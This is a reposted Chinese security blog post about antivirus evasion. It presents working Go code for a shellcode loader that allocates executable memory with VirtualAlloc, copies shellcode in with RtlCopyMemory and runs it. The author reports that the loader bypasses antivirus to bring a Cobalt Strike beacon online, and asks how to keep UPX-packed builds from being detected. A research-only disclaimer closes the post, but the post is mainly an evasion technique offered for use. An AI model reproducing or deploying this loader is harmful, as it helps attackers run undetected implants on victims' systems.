我的免杀之路:内存隐藏

admin 2025年1月2日10:36:10评论43 views字数 1692阅读5分38秒阅读模式

我的免杀之路:内存隐藏

【简述】

内存隐藏技术的核心在于将自己的shellcode注入到内存当中并隐藏起来,那么可以围绕Windows API中的RTLCopyMemory函数开展,RTLCopyMemory函数是Windows内核函数,能够实现内存块的复制。而同样能够实现内存块复制的,还有一个RTLMoveMemory函数,然而RTLCopyMemory和RTLMoveMemory的区别在于是非重叠内存区域的复制,RTLCopyMemory非重叠复制,而RTLMoveMemory是重叠复制。这很好理解,看图:

我的免杀之路:内存隐藏

如果需要将A到C段的内存复制到B到D段内存上,这B到C段的内存就是重叠部分。如果使用RTLCopyMemory函数,重叠的部分不会被覆盖;如果使用RTLMoveMemory函数,重叠的部分也会被覆盖,当然,两者的结果都是一样的。经过测试,也证实了自己的想法,无论是用RTLCopyMemory还是RTLMoveMemory函数,都可以达到免杀的目的。

【实现思路】

直接上核心代码部分,难度不大

func ShellCode_RTLCopyMemory(shellcode string) error {    bad_Shellcode := []byte(shellcode)    addr, _, err := VirtualAlloc.Call(0, uintptr(len(bad_Shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)    if addr == 0 {      return err    }    ds, _ := hex.DecodeString(shellcode)    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ds[0])), uintptr(len(shellcode)))    if err != nil {       if err.Error() != "The operation completed successfully." {          return err       }    }    _, _, err = syscall.Syscall(addr, 0, 0, 0, 0)    if err != nil {       if err.Error() != "The operation completed successfully." {          return err       }    }    return nil}

着重说一下关于RTLCopyMemory函数,它有三个参数

参数

意义

Destination

数据类型:void*。指向要将字节复制到的目标内存块的指针。

Source

数据类型:const void*。指向要从中复制字节的源内存块的指针。

Length

数据类型:size_t。要从源复制到目标的字节数。

复制需要源内存块的指针和目标内存块的指针,因为内存块的复制会导致地址偏移,所以这里必须要unsafe.Pointer和uintptr配合来实现,然而目标地址怎么设置呢?这就需要用到VirtualAlloc函数进行虚拟内存分配,我们需要的虚拟内存大小就是shellcode的长度,所以这里的目标地址就是我们申请的虚拟内存地址。源内存块地址就是shellcode转化成字节后,即ds[],第0位的指针位置,即&ds[0]
(备注:golang中的&和*符号都是指针符号,&符号的意思是对变量取地址,*符号的意思是对指针取值。)
其实这就是内存注入技术,通过VirtualAlloc申请一块内存空间,VirtualAlloc如果调用成功,则返回分配的首地址。接着将Shellcode复制到VirtualAlloc申请的内存中,进行调用。这种方法的优势就是被发现的概率很低,甚至可以被忽略,注入后将注入工具删除即可。但是这种技术也存在一个弊端,因为内存是易失性存储器,所以系统必须一直开机,不能关闭。

最后的CS上线免杀效果:

我的免杀之路:内存隐藏

我的免杀之路:内存隐藏

(这里本人有个问题不知道该如何解决,没经过upx压缩的并不会报毒,能成功bypass,而经过upx压缩的会被查杀出来,我已经修改过upx的静态特征,但是依旧被查杀出来,望师傅们指点指点)

我的免杀之路:内存隐藏

原文始发于微信公众号(Snaker独行者):我的免杀之路:内存隐藏

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日10:36:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   我的免杀之路:内存隐藏http://cn-sec.com/archives/946980.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息